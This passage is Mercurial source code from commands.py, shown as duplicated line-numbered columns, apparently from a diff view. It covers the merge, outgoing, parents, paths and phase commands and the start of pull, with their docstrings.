4849 See :hg:`help resolve` for information on handling file conflicts.
4852 See :hg:`help resolve` for information on handling file conflicts.
4850
4853
4851 To undo an uncommitted merge, use :hg:`merge --abort` which
4854 To undo an uncommitted merge, use :hg:`merge --abort` which
4852 will check out a clean copy of the original merge parent, losing
4855 will check out a clean copy of the original merge parent, losing
4853 all changes.
4856 all changes.
4854
4857
4855 Returns 0 on success, 1 if there are unresolved files.
4858 Returns 0 on success, 1 if there are unresolved files.
4856 """
4859 """
4857
4860
4858 opts = pycompat.byteskwargs(opts)
4861 opts = pycompat.byteskwargs(opts)
4859 abort = opts.get(b'abort')
4862 abort = opts.get(b'abort')
4860 if abort and repo.dirstate.p2() == repo.nullid:
4863 if abort and repo.dirstate.p2() == repo.nullid:
4861 cmdutil.wrongtooltocontinue(repo, _(b'merge'))
4864 cmdutil.wrongtooltocontinue(repo, _(b'merge'))
4862 cmdutil.check_incompatible_arguments(opts, b'abort', [b'rev', b'preview'])
4865 cmdutil.check_incompatible_arguments(opts, b'abort', [b'rev', b'preview'])
4863 if abort:
4866 if abort:
4864 state = cmdutil.getunfinishedstate(repo)
4867 state = cmdutil.getunfinishedstate(repo)
4865 if state and state._opname != b'merge':
4868 if state and state._opname != b'merge':
4866 raise error.StateError(
4869 raise error.StateError(
4867 _(b'cannot abort merge with %s in progress') % (state._opname),
4870 _(b'cannot abort merge with %s in progress') % (state._opname),
4868 hint=state.hint(),
4871 hint=state.hint(),
4869 )
4872 )
4870 if node:
4873 if node:
4871 raise error.InputError(_(b"cannot specify a node with --abort"))
4874 raise error.InputError(_(b"cannot specify a node with --abort"))
4872 return hg.abortmerge(repo.ui, repo)
4875 return hg.abortmerge(repo.ui, repo)
4873
4876
4874 if opts.get(b'rev') and node:
4877 if opts.get(b'rev') and node:
4875 raise error.InputError(_(b"please specify just one revision"))
4878 raise error.InputError(_(b"please specify just one revision"))
4876 if not node:
4879 if not node:
4877 node = opts.get(b'rev')
4880 node = opts.get(b'rev')
4878
4881
4879 if node:
4882 if node:
4880 ctx = logcmdutil.revsingle(repo, node)
4883 ctx = logcmdutil.revsingle(repo, node)
4881 else:
4884 else:
4882 if ui.configbool(b'commands', b'merge.require-rev'):
4885 if ui.configbool(b'commands', b'merge.require-rev'):
4883 raise error.InputError(
4886 raise error.InputError(
4884 _(
4887 _(
4885 b'configuration requires specifying revision to merge '
4888 b'configuration requires specifying revision to merge '
4886 b'with'
4889 b'with'
4887 )
4890 )
4888 )
4891 )
4889 ctx = repo[destutil.destmerge(repo)]
4892 ctx = repo[destutil.destmerge(repo)]
4890
4893
4891 if ctx.node() is None:
4894 if ctx.node() is None:
4892 raise error.InputError(
4895 raise error.InputError(
4893 _(b'merging with the working copy has no effect')
4896 _(b'merging with the working copy has no effect')
4894 )
4897 )
4895
4898
4896 if opts.get(b'preview'):
4899 if opts.get(b'preview'):
4897 # find nodes that are ancestors of p2 but not of p1
4900 # find nodes that are ancestors of p2 but not of p1
4898 p1 = repo[b'.'].node()
4901 p1 = repo[b'.'].node()
4899 p2 = ctx.node()
4902 p2 = ctx.node()
4900 nodes = repo.changelog.findmissing(common=[p1], heads=[p2])
4903 nodes = repo.changelog.findmissing(common=[p1], heads=[p2])
4901
4904
4902 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
4905 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
4903 for node in nodes:
4906 for node in nodes:
4904 displayer.show(repo[node])
4907 displayer.show(repo[node])
4905 displayer.close()
4908 displayer.close()
4906 return 0
4909 return 0
4907
4910
4908 # ui.forcemerge is an internal variable, do not document
4911 # ui.forcemerge is an internal variable, do not document
4909 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
4912 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
4910 with ui.configoverride(overrides, b'merge'):
4913 with ui.configoverride(overrides, b'merge'):
4911 force = opts.get(b'force')
4914 force = opts.get(b'force')
4912 labels = [b'working copy', b'merge rev']
4915 labels = [b'working copy', b'merge rev']
4913 return hg.merge(ctx, force=force, labels=labels)
4916 return hg.merge(ctx, force=force, labels=labels)
4914
4917
4915
4918
4916 statemod.addunfinished(
4919 statemod.addunfinished(
4917 b'merge',
4920 b'merge',
4918 fname=None,
4921 fname=None,
4919 clearable=True,
4922 clearable=True,
4920 allowcommit=True,
4923 allowcommit=True,
4921 cmdmsg=_(b'outstanding uncommitted merge'),
4924 cmdmsg=_(b'outstanding uncommitted merge'),
4922 abortfunc=hg.abortmerge,
4925 abortfunc=hg.abortmerge,
4923 statushint=_(
4926 statushint=_(
4924 b'To continue: hg commit\nTo abort: hg merge --abort'
4927 b'To continue: hg commit\nTo abort: hg merge --abort'
4925 ),
4928 ),
4926 cmdhint=_(b"use 'hg commit' or 'hg merge --abort'"),
4929 cmdhint=_(b"use 'hg commit' or 'hg merge --abort'"),
4927 )
4930 )
4928
4931
4929
4932
4930 @command(
4933 @command(
4931 b'outgoing|out',
4934 b'outgoing|out',
4932 [
4935 [
4933 (
4936 (
4934 b'f',
4937 b'f',
4935 b'force',
4938 b'force',
4936 None,
4939 None,
4937 _(b'run even when the destination is unrelated'),
4940 _(b'run even when the destination is unrelated'),
4938 ),
4941 ),
4939 (
4942 (
4940 b'r',
4943 b'r',
4941 b'rev',
4944 b'rev',
4942 [],
4945 [],
4943 _(b'a changeset intended to be included in the destination'),
4946 _(b'a changeset intended to be included in the destination'),
4944 _(b'REV'),
4947 _(b'REV'),
4945 ),
4948 ),
4946 (b'n', b'newest-first', None, _(b'show newest record first')),
4949 (b'n', b'newest-first', None, _(b'show newest record first')),
4947 (b'B', b'bookmarks', False, _(b'compare bookmarks')),
4950 (b'B', b'bookmarks', False, _(b'compare bookmarks')),
4948 (
4951 (
4949 b'b',
4952 b'b',
4950 b'branch',
4953 b'branch',
4951 [],
4954 [],
4952 _(b'a specific branch you would like to push'),
4955 _(b'a specific branch you would like to push'),
4953 _(b'BRANCH'),
4956 _(b'BRANCH'),
4954 ),
4957 ),
4955 ]
4958 ]
4956 + logopts
4959 + logopts
4957 + remoteopts
4960 + remoteopts
4958 + subrepoopts,
4961 + subrepoopts,
4959 _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]...'),
4962 _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]...'),
4960 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4963 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4961 )
4964 )
4962 def outgoing(ui, repo, *dests, **opts):
4965 def outgoing(ui, repo, *dests, **opts):
4963 """show changesets not found in the destination
4966 """show changesets not found in the destination
4964
4967
4965 Show changesets not found in the specified destination repository
4968 Show changesets not found in the specified destination repository
4966 or the default push location. These are the changesets that would
4969 or the default push location. These are the changesets that would
4967 be pushed if a push was requested.
4970 be pushed if a push was requested.
4968
4971
4969 See pull for details of valid destination formats.
4972 See pull for details of valid destination formats.
4970
4973
4971 .. container:: verbose
4974 .. container:: verbose
4972
4975
4973 With -B/--bookmarks, the result of bookmark comparison between
4976 With -B/--bookmarks, the result of bookmark comparison between
4974 local and remote repositories is displayed. With -v/--verbose,
4977 local and remote repositories is displayed. With -v/--verbose,
4975 status is also displayed for each bookmark like below::
4978 status is also displayed for each bookmark like below::
4976
4979
4977 BM1 01234567890a added
4980 BM1 01234567890a added
4978 BM2 deleted
4981 BM2 deleted
4979 BM3 234567890abc advanced
4982 BM3 234567890abc advanced
4980 BM4 34567890abcd diverged
4983 BM4 34567890abcd diverged
4981 BM5 4567890abcde changed
4984 BM5 4567890abcde changed
4982
4985
4983 The action taken when pushing depends on the
4986 The action taken when pushing depends on the
4984 status of each bookmark:
4987 status of each bookmark:
4985
4988
4986 :``added``: push with ``-B`` will create it
4989 :``added``: push with ``-B`` will create it
4987 :``deleted``: push with ``-B`` will delete it
4990 :``deleted``: push with ``-B`` will delete it
4988 :``advanced``: push will update it
4991 :``advanced``: push will update it
4989 :``diverged``: push with ``-B`` will update it
4992 :``diverged``: push with ``-B`` will update it
4990 :``changed``: push with ``-B`` will update it
4993 :``changed``: push with ``-B`` will update it
4991
4994
4992 From the point of view of pushing behavior, bookmarks
4995 From the point of view of pushing behavior, bookmarks
4993 existing only in the remote repository are treated as
4996 existing only in the remote repository are treated as
4994 ``deleted``, even if it is in fact added remotely.
4997 ``deleted``, even if it is in fact added remotely.
4995
4998
4996 Returns 0 if there are outgoing changes, 1 otherwise.
4999 Returns 0 if there are outgoing changes, 1 otherwise.
4997 """
5000 """
4998 opts = pycompat.byteskwargs(opts)
5001 opts = pycompat.byteskwargs(opts)
4999 if opts.get(b'bookmarks'):
5002 if opts.get(b'bookmarks'):
5000 for path in urlutil.get_push_paths(repo, ui, dests):
5003 for path in urlutil.get_push_paths(repo, ui, dests):
5001 dest = path.pushloc or path.loc
5004 dest = path.pushloc or path.loc
5002 other = hg.peer(repo, opts, dest)
5005 other = hg.peer(repo, opts, dest)
5003 try:
5006 try:
5004 if b'bookmarks' not in other.listkeys(b'namespaces'):
5007 if b'bookmarks' not in other.listkeys(b'namespaces'):
5005 ui.warn(_(b"remote doesn't support bookmarks\n"))
5008 ui.warn(_(b"remote doesn't support bookmarks\n"))
5006 return 0
5009 return 0
5007 ui.status(
5010 ui.status(
5008 _(b'comparing with %s\n') % urlutil.hidepassword(dest)
5011 _(b'comparing with %s\n') % urlutil.hidepassword(dest)
5009 )
5012 )
5010 ui.pager(b'outgoing')
5013 ui.pager(b'outgoing')
5011 return bookmarks.outgoing(ui, repo, other)
5014 return bookmarks.outgoing(ui, repo, other)
5012 finally:
5015 finally:
5013 other.close()
5016 other.close()
5014
5017
5015 return hg.outgoing(ui, repo, dests, opts)
5018 return hg.outgoing(ui, repo, dests, opts)
5016
5019
5017
5020
5018 @command(
5021 @command(
5019 b'parents',
5022 b'parents',
5020 [
5023 [
5021 (
5024 (
5022 b'r',
5025 b'r',
5023 b'rev',
5026 b'rev',
5024 b'',
5027 b'',
5025 _(b'show parents of the specified revision'),
5028 _(b'show parents of the specified revision'),
5026 _(b'REV'),
5029 _(b'REV'),
5027 ),
5030 ),
5028 ]
5031 ]
5029 + templateopts,
5032 + templateopts,
5030 _(b'[-r REV] [FILE]'),
5033 _(b'[-r REV] [FILE]'),
5031 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
5034 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
5032 inferrepo=True,
5035 inferrepo=True,
5033 )
5036 )
5034 def parents(ui, repo, file_=None, **opts):
5037 def parents(ui, repo, file_=None, **opts):
5035 """show the parents of the working directory or revision (DEPRECATED)
5038 """show the parents of the working directory or revision (DEPRECATED)
5036
5039
5037 Print the working directory's parent revisions. If a revision is
5040 Print the working directory's parent revisions. If a revision is
5038 given via -r/--rev, the parent of that revision will be printed.
5041 given via -r/--rev, the parent of that revision will be printed.
5039 If a file argument is given, the revision in which the file was
5042 If a file argument is given, the revision in which the file was
5040 last changed (before the working directory revision or the
5043 last changed (before the working directory revision or the
5041 argument to --rev if given) is printed.
5044 argument to --rev if given) is printed.
5042
5045
5043 This command is equivalent to::
5046 This command is equivalent to::
5044
5047
5045 hg log -r "p1()+p2()" or
5048 hg log -r "p1()+p2()" or
5046 hg log -r "p1(REV)+p2(REV)" or
5049 hg log -r "p1(REV)+p2(REV)" or
5047 hg log -r "max(::p1() and file(FILE))+max(::p2() and file(FILE))" or
5050 hg log -r "max(::p1() and file(FILE))+max(::p2() and file(FILE))" or
5048 hg log -r "max(::p1(REV) and file(FILE))+max(::p2(REV) and file(FILE))"
5051 hg log -r "max(::p1(REV) and file(FILE))+max(::p2(REV) and file(FILE))"
5049
5052
5050 See :hg:`summary` and :hg:`help revsets` for related information.
5053 See :hg:`summary` and :hg:`help revsets` for related information.
5051
5054
5052 Returns 0 on success.
5055 Returns 0 on success.
5053 """
5056 """
5054
5057
5055 opts = pycompat.byteskwargs(opts)
5058 opts = pycompat.byteskwargs(opts)
5056 rev = opts.get(b'rev')
5059 rev = opts.get(b'rev')
5057 if rev:
5060 if rev:
5058 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
5061 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
5059 ctx = logcmdutil.revsingle(repo, rev, None)
5062 ctx = logcmdutil.revsingle(repo, rev, None)
5060
5063
5061 if file_:
5064 if file_:
5062 m = scmutil.match(ctx, (file_,), opts)
5065 m = scmutil.match(ctx, (file_,), opts)
5063 if m.anypats() or len(m.files()) != 1:
5066 if m.anypats() or len(m.files()) != 1:
5064 raise error.InputError(_(b'can only specify an explicit filename'))
5067 raise error.InputError(_(b'can only specify an explicit filename'))
5065 file_ = m.files()[0]
5068 file_ = m.files()[0]
5066 filenodes = []
5069 filenodes = []
5067 for cp in ctx.parents():
5070 for cp in ctx.parents():
5068 if not cp:
5071 if not cp:
5069 continue
5072 continue
5070 try:
5073 try:
5071 filenodes.append(cp.filenode(file_))
5074 filenodes.append(cp.filenode(file_))
5072 except error.LookupError:
5075 except error.LookupError:
5073 pass
5076 pass
5074 if not filenodes:
5077 if not filenodes:
5075 raise error.InputError(_(b"'%s' not found in manifest") % file_)
5078 raise error.InputError(_(b"'%s' not found in manifest") % file_)
5076 p = []
5079 p = []
5077 for fn in filenodes:
5080 for fn in filenodes:
5078 fctx = repo.filectx(file_, fileid=fn)
5081 fctx = repo.filectx(file_, fileid=fn)
5079 p.append(fctx.node())
5082 p.append(fctx.node())
5080 else:
5083 else:
5081 p = [cp.node() for cp in ctx.parents()]
5084 p = [cp.node() for cp in ctx.parents()]
5082
5085
5083 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
5086 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
5084 for n in p:
5087 for n in p:
5085 if n != repo.nullid:
5088 if n != repo.nullid:
5086 displayer.show(repo[n])
5089 displayer.show(repo[n])
5087 displayer.close()
5090 displayer.close()
5088
5091
5089
5092
5090 @command(
5093 @command(
5091 b'paths',
5094 b'paths',
5092 formatteropts,
5095 formatteropts,
5093 _(b'[NAME]'),
5096 _(b'[NAME]'),
5094 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5097 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5095 optionalrepo=True,
5098 optionalrepo=True,
5096 intents={INTENT_READONLY},
5099 intents={INTENT_READONLY},
5097 )
5100 )
5098 def paths(ui, repo, search=None, **opts):
5101 def paths(ui, repo, search=None, **opts):
5099 """show aliases for remote repositories
5102 """show aliases for remote repositories
5100
5103
5101 Show definition of symbolic path name NAME. If no name is given,
5104 Show definition of symbolic path name NAME. If no name is given,
5102 show definition of all available names.
5105 show definition of all available names.
5103
5106
5104 Option -q/--quiet suppresses all output when searching for NAME
5107 Option -q/--quiet suppresses all output when searching for NAME
5105 and shows only the path names when listing all definitions.
5108 and shows only the path names when listing all definitions.
5106
5109
5107 Path names are defined in the [paths] section of your
5110 Path names are defined in the [paths] section of your
5108 configuration file and in ``/etc/mercurial/hgrc``. If run inside a
5111 configuration file and in ``/etc/mercurial/hgrc``. If run inside a
5109 repository, ``.hg/hgrc`` is used, too.
5112 repository, ``.hg/hgrc`` is used, too.
5110
5113
5111 The path names ``default`` and ``default-push`` have a special
5114 The path names ``default`` and ``default-push`` have a special
5112 meaning. When performing a push or pull operation, they are used
5115 meaning. When performing a push or pull operation, they are used
5113 as fallbacks if no location is specified on the command-line.
5116 as fallbacks if no location is specified on the command-line.
5114 When ``default-push`` is set, it will be used for push and
5117 When ``default-push`` is set, it will be used for push and
5115 ``default`` will be used for pull; otherwise ``default`` is used
5118 ``default`` will be used for pull; otherwise ``default`` is used
5116 as the fallback for both. When cloning a repository, the clone
5119 as the fallback for both. When cloning a repository, the clone
5117 source is written as ``default`` in ``.hg/hgrc``.
5120 source is written as ``default`` in ``.hg/hgrc``.
5118
5121
5119 .. note::
5122 .. note::
5120
5123
5121 ``default`` and ``default-push`` apply to all inbound (e.g.
5124 ``default`` and ``default-push`` apply to all inbound (e.g.
5122 :hg:`incoming`) and outbound (e.g. :hg:`outgoing`, :hg:`email`
5125 :hg:`incoming`) and outbound (e.g. :hg:`outgoing`, :hg:`email`
5123 and :hg:`bundle`) operations.
5126 and :hg:`bundle`) operations.
5124
5127
5125 See :hg:`help urls` for more information.
5128 See :hg:`help urls` for more information.
5126
5129
5127 .. container:: verbose
5130 .. container:: verbose
5128
5131
5129 Template:
5132 Template:
5130
5133
5131 The following keywords are supported. See also :hg:`help templates`.
5134 The following keywords are supported. See also :hg:`help templates`.
5132
5135
5133 :name: String. Symbolic name of the path alias.
5136 :name: String. Symbolic name of the path alias.
5134 :pushurl: String. URL for push operations.
5137 :pushurl: String. URL for push operations.
5135 :url: String. URL or directory path for the other operations.
5138 :url: String. URL or directory path for the other operations.
5136
5139
5137 Returns 0 on success.
5140 Returns 0 on success.
5138 """
5141 """
5139
5142
5140 opts = pycompat.byteskwargs(opts)
5143 opts = pycompat.byteskwargs(opts)
5141
5144
5142 pathitems = urlutil.list_paths(ui, search)
5145 pathitems = urlutil.list_paths(ui, search)
5143 ui.pager(b'paths')
5146 ui.pager(b'paths')
5144
5147
5145 fm = ui.formatter(b'paths', opts)
5148 fm = ui.formatter(b'paths', opts)
5146 if fm.isplain():
5149 if fm.isplain():
5147 hidepassword = urlutil.hidepassword
5150 hidepassword = urlutil.hidepassword
5148 else:
5151 else:
5149 hidepassword = bytes
5152 hidepassword = bytes
5150 if ui.quiet:
5153 if ui.quiet:
5151 namefmt = b'%s\n'
5154 namefmt = b'%s\n'
5152 else:
5155 else:
5153 namefmt = b'%s = '
5156 namefmt = b'%s = '
5154 showsubopts = not search and not ui.quiet
5157 showsubopts = not search and not ui.quiet
5155
5158
5156 for name, path in pathitems:
5159 for name, path in pathitems:
5157 fm.startitem()
5160 fm.startitem()
5158 fm.condwrite(not search, b'name', namefmt, name)
5161 fm.condwrite(not search, b'name', namefmt, name)
5159 fm.condwrite(not ui.quiet, b'url', b'%s\n', hidepassword(path.rawloc))
5162 fm.condwrite(not ui.quiet, b'url', b'%s\n', hidepassword(path.rawloc))
5160 for subopt, value in sorted(path.suboptions.items()):
5163 for subopt, value in sorted(path.suboptions.items()):
5161 assert subopt not in (b'name', b'url')
5164 assert subopt not in (b'name', b'url')
5162 if showsubopts:
5165 if showsubopts:
5163 fm.plain(b'%s:%s = ' % (name, subopt))
5166 fm.plain(b'%s:%s = ' % (name, subopt))
5164 if isinstance(value, bool):
5167 if isinstance(value, bool):
5165 if value:
5168 if value:
5166 value = b'yes'
5169 value = b'yes'
5167 else:
5170 else:
5168 value = b'no'
5171 value = b'no'
5169 fm.condwrite(showsubopts, subopt, b'%s\n', value)
5172 fm.condwrite(showsubopts, subopt, b'%s\n', value)
5170
5173
5171 fm.end()
5174 fm.end()
5172
5175
5173 if search and not pathitems:
5176 if search and not pathitems:
5174 if not ui.quiet:
5177 if not ui.quiet:
5175 ui.warn(_(b"not found!\n"))
5178 ui.warn(_(b"not found!\n"))
5176 return 1
5179 return 1
5177 else:
5180 else:
5178 return 0
5181 return 0
5179
5182
5180
5183
5181 @command(
5184 @command(
5182 b'phase',
5185 b'phase',
5183 [
5186 [
5184 (b'p', b'public', False, _(b'set changeset phase to public')),
5187 (b'p', b'public', False, _(b'set changeset phase to public')),
5185 (b'd', b'draft', False, _(b'set changeset phase to draft')),
5188 (b'd', b'draft', False, _(b'set changeset phase to draft')),
5186 (b's', b'secret', False, _(b'set changeset phase to secret')),
5189 (b's', b'secret', False, _(b'set changeset phase to secret')),
5187 (b'f', b'force', False, _(b'allow to move boundary backward')),
5190 (b'f', b'force', False, _(b'allow to move boundary backward')),
5188 (b'r', b'rev', [], _(b'target revision'), _(b'REV')),
5191 (b'r', b'rev', [], _(b'target revision'), _(b'REV')),
5189 ],
5192 ],
5190 _(b'[-p|-d|-s] [-f] [-r] [REV...]'),
5193 _(b'[-p|-d|-s] [-f] [-r] [REV...]'),
5191 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
5194 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
5192 )
5195 )
5193 def phase(ui, repo, *revs, **opts):
5196 def phase(ui, repo, *revs, **opts):
5194 """set or show the current phase name
5197 """set or show the current phase name
5195
5198
5196 With no argument, show the phase name of the current revision(s).
5199 With no argument, show the phase name of the current revision(s).
5197
5200
5198 With one of -p/--public, -d/--draft or -s/--secret, change the
5201 With one of -p/--public, -d/--draft or -s/--secret, change the
5199 phase value of the specified revisions.
5202 phase value of the specified revisions.
5200
5203
5201 Unless -f/--force is specified, :hg:`phase` won't move changesets from a
5204 Unless -f/--force is specified, :hg:`phase` won't move changesets from a
5202 lower phase to a higher phase. Phases are ordered as follows::
5205 lower phase to a higher phase. Phases are ordered as follows::
5203
5206
5204 public < draft < secret
5207 public < draft < secret
5205
5208
5206 Returns 0 on success, 1 if some phases could not be changed.
5209 Returns 0 on success, 1 if some phases could not be changed.
5207
5210
5208 (For more information about the phases concept, see :hg:`help phases`.)
5211 (For more information about the phases concept, see :hg:`help phases`.)
5209 """
5212 """
5210 opts = pycompat.byteskwargs(opts)
5213 opts = pycompat.byteskwargs(opts)
5211 # search for a unique phase argument
5214 # search for a unique phase argument
5212 targetphase = None
5215 targetphase = None
5213 for idx, name in enumerate(phases.cmdphasenames):
5216 for idx, name in enumerate(phases.cmdphasenames):
5214 if opts[name]:
5217 if opts[name]:
5215 if targetphase is not None:
5218 if targetphase is not None:
5216 raise error.InputError(_(b'only one phase can be specified'))
5219 raise error.InputError(_(b'only one phase can be specified'))
5217 targetphase = idx
5220 targetphase = idx
5218
5221
5219 # look for specified revision
5222 # look for specified revision
5220 revs = list(revs)
5223 revs = list(revs)
5221 revs.extend(opts[b'rev'])
5224 revs.extend(opts[b'rev'])
5222 if revs:
5225 if revs:
5223 revs = logcmdutil.revrange(repo, revs)
5226 revs = logcmdutil.revrange(repo, revs)
5224 else:
5227 else:
5225 # display both parents as the second parent phase can influence
5228 # display both parents as the second parent phase can influence
5226 # the phase of a merge commit
5229 # the phase of a merge commit
5227 revs = [c.rev() for c in repo[None].parents()]
5230 revs = [c.rev() for c in repo[None].parents()]
5228
5231
5229 ret = 0
5232 ret = 0
5230 if targetphase is None:
5233 if targetphase is None:
5231 # display
5234 # display
5232 for r in revs:
5235 for r in revs:
5233 ctx = repo[r]
5236 ctx = repo[r]
5234 ui.write(b'%i: %s\n' % (ctx.rev(), ctx.phasestr()))
5237 ui.write(b'%i: %s\n' % (ctx.rev(), ctx.phasestr()))
5235 else:
5238 else:
5236 with repo.lock(), repo.transaction(b"phase") as tr:
5239 with repo.lock(), repo.transaction(b"phase") as tr:
5237 # set phase
5240 # set phase
5238 if not revs:
5241 if not revs:
5239 raise error.InputError(_(b'empty revision set'))
5242 raise error.InputError(_(b'empty revision set'))
5240 nodes = [repo[r].node() for r in revs]
5243 nodes = [repo[r].node() for r in revs]
5241 # moving revision from public to draft may hide them
5244 # moving revision from public to draft may hide them
5242 # We have to check result on an unfiltered repository
5245 # We have to check result on an unfiltered repository
5243 unfi = repo.unfiltered()
5246 unfi = repo.unfiltered()
5244 getphase = unfi._phasecache.phase
5247 getphase = unfi._phasecache.phase
5245 olddata = [getphase(unfi, r) for r in unfi]
5248 olddata = [getphase(unfi, r) for r in unfi]
5246 phases.advanceboundary(repo, tr, targetphase, nodes)
5249 phases.advanceboundary(repo, tr, targetphase, nodes)
5247 if opts[b'force']:
5250 if opts[b'force']:
5248 phases.retractboundary(repo, tr, targetphase, nodes)
5251 phases.retractboundary(repo, tr, targetphase, nodes)
5249 getphase = unfi._phasecache.phase
5252 getphase = unfi._phasecache.phase
5250 newdata = [getphase(unfi, r) for r in unfi]
5253 newdata = [getphase(unfi, r) for r in unfi]
5251 changes = sum(newdata[r] != olddata[r] for r in unfi)
5254 changes = sum(newdata[r] != olddata[r] for r in unfi)
5252 cl = unfi.changelog
5255 cl = unfi.changelog
5253 rejected = [n for n in nodes if newdata[cl.rev(n)] < targetphase]
5256 rejected = [n for n in nodes if newdata[cl.rev(n)] < targetphase]
5254 if rejected:
5257 if rejected:
5255 ui.warn(
5258 ui.warn(
5256 _(
5259 _(
5257 b'cannot move %i changesets to a higher '
5260 b'cannot move %i changesets to a higher '
5258 b'phase, use --force\n'
5261 b'phase, use --force\n'
5259 )
5262 )
5260 % len(rejected)
5263 % len(rejected)
5261 )
5264 )
5262 ret = 1
5265 ret = 1
5263 if changes:
5266 if changes:
5264 msg = _(b'phase changed for %i changesets\n') % changes
5267 msg = _(b'phase changed for %i changesets\n') % changes
5265 if ret:
5268 if ret:
5266 ui.status(msg)
5269 ui.status(msg)
5267 else:
5270 else:
5268 ui.note(msg)
5271 ui.note(msg)
5269 else:
5272 else:
5270 ui.warn(_(b'no phases changed\n'))
5273 ui.warn(_(b'no phases changed\n'))
5271 return ret
5274 return ret
5272
5275
5273
5276
5274 def postincoming(ui, repo, modheads, optupdate, checkout, brev):
5277 def postincoming(ui, repo, modheads, optupdate, checkout, brev):
5275 """Run after a changegroup has been added via pull/unbundle
5278 """Run after a changegroup has been added via pull/unbundle
5276
5279
5277 This takes arguments below:
5280 This takes arguments below:
5278
5281
5279 :modheads: change of heads by pull/unbundle
5282 :modheads: change of heads by pull/unbundle
5280 :optupdate: updating working directory is needed or not
5283 :optupdate: updating working directory is needed or not
5281 :checkout: update destination revision (or None to default destination)
5284 :checkout: update destination revision (or None to default destination)
5282 :brev: a name, which might be a bookmark to be activated after updating
5285 :brev: a name, which might be a bookmark to be activated after updating
5283
5286
5284 return True if update raise any conflict, False otherwise.
5287 return True if update raise any conflict, False otherwise.
5285 """
5288 """
5286 if modheads == 0:
5289 if modheads == 0:
5287 return False
5290 return False
5288 if optupdate:
5291 if optupdate:
5289 try:
5292 try:
5290 return hg.updatetotally(ui, repo, checkout, brev)
5293 return hg.updatetotally(ui, repo, checkout, brev)
5291 except error.UpdateAbort as inst:
5294 except error.UpdateAbort as inst:
5292 msg = _(b"not updating: %s") % stringutil.forcebytestr(inst)
5295 msg = _(b"not updating: %s") % stringutil.forcebytestr(inst)
5293 hint = inst.hint
5296 hint = inst.hint
5294 raise error.UpdateAbort(msg, hint=hint)
5297 raise error.UpdateAbort(msg, hint=hint)
5295 if modheads is not None and modheads > 1:
5298 if modheads is not None and modheads > 1:
5296 currentbranchheads = len(repo.branchheads())
5299 currentbranchheads = len(repo.branchheads())
5297 if currentbranchheads == modheads:
5300 if currentbranchheads == modheads:
5298 ui.status(
5301 ui.status(
5299 _(b"(run 'hg heads' to see heads, 'hg merge' to merge)\n")
5302 _(b"(run 'hg heads' to see heads, 'hg merge' to merge)\n")
5300 )
5303 )
5301 elif currentbranchheads > 1:
5304 elif currentbranchheads > 1:
5302 ui.status(
5305 ui.status(
5303 _(b"(run 'hg heads .' to see heads, 'hg merge' to merge)\n")
5306 _(b"(run 'hg heads .' to see heads, 'hg merge' to merge)\n")
5304 )
5307 )
5305 else:
5308 else:
5306 ui.status(_(b"(run 'hg heads' to see heads)\n"))
5309 ui.status(_(b"(run 'hg heads' to see heads)\n"))
5307 elif not ui.configbool(b'commands', b'update.requiredest'):
5310 elif not ui.configbool(b'commands', b'update.requiredest'):
5308 ui.status(_(b"(run 'hg update' to get a working copy)\n"))
5311 ui.status(_(b"(run 'hg update' to get a working copy)\n"))
5309 return False
5312 return False
5310
5313
5311
5314
5312 @command(
5315 @command(
5313 b'pull',
5316 b'pull',
5314 [
5317 [
5315 (
5318 (
5316 b'u',
5319 b'u',
5317 b'update',
5320 b'update',
5318 None,
5321 None,
5319 _(b'update to new branch head if new descendants were pulled'),
5322 _(b'update to new branch head if new descendants were pulled'),
5320 ),
5323 ),
5321 (
5324 (
5322 b'f',
5325 b'f',
5323 b'force',
5326 b'force',
5324 None,
5327 None,
5325 _(b'run even when remote repository is unrelated'),
5328 _(b'run even when remote repository is unrelated'),
5326 ),
5329 ),
5327 (
5330 (
5328 b'',
5331 b'',
5329 b'confirm',
5332 b'confirm',
5330 None,
5333 None,
5331 _(b'confirm pull before applying changes'),
5334 _(b'confirm pull before applying changes'),
5332 ),
5335 ),
5333 (
5336 (
5334 b'r',
5337 b'r',
5335 b'rev',
5338 b'rev',
5336 [],
5339 [],
5337 _(b'a remote changeset intended to be added'),
5340 _(b'a remote changeset intended to be added'),
5338 _(b'REV'),
5341 _(b'REV'),
5339 ),
5342 ),
5340 (b'B', b'bookmark', [], _(b"bookmark to pull"), _(b'BOOKMARK')),
5343 (b'B', b'bookmark', [], _(b"bookmark to pull"), _(b'BOOKMARK')),
5341 (
5344 (
5342 b'b',
5345 b'b',
5343 b'branch',
5346 b'branch',
5344 [],
5347 [],
5345 _(b'a specific branch you would like to pull'),
5348 _(b'a specific branch you would like to pull'),
5346 _(b'BRANCH'),
5349 _(b'BRANCH'),
5347 ),
5350 ),
5348 ]
5351 ]
5349 + remoteopts,
5352 + remoteopts,
5350 _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...'),
5353 _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...'),
5351 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5354 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5352 helpbasic=True,
5355 helpbasic=True,
5353 )
5356 )
5354 def pull(ui, repo, *sources, **opts):
5357 def pull(ui, repo, *sources, **opts):
5355 """pull changes from the specified source
5358 """pull changes from the specified source
5356
5359
5357 Pull changes from a remote repository to a local one.
5360 Pull changes from a remote repository to a local one.
5358
5361
5359 This finds all changes from the repository at the specified path
5362 This finds all changes from the repository at the specified path
5360 or URL and adds them to a local repository (the current one unless
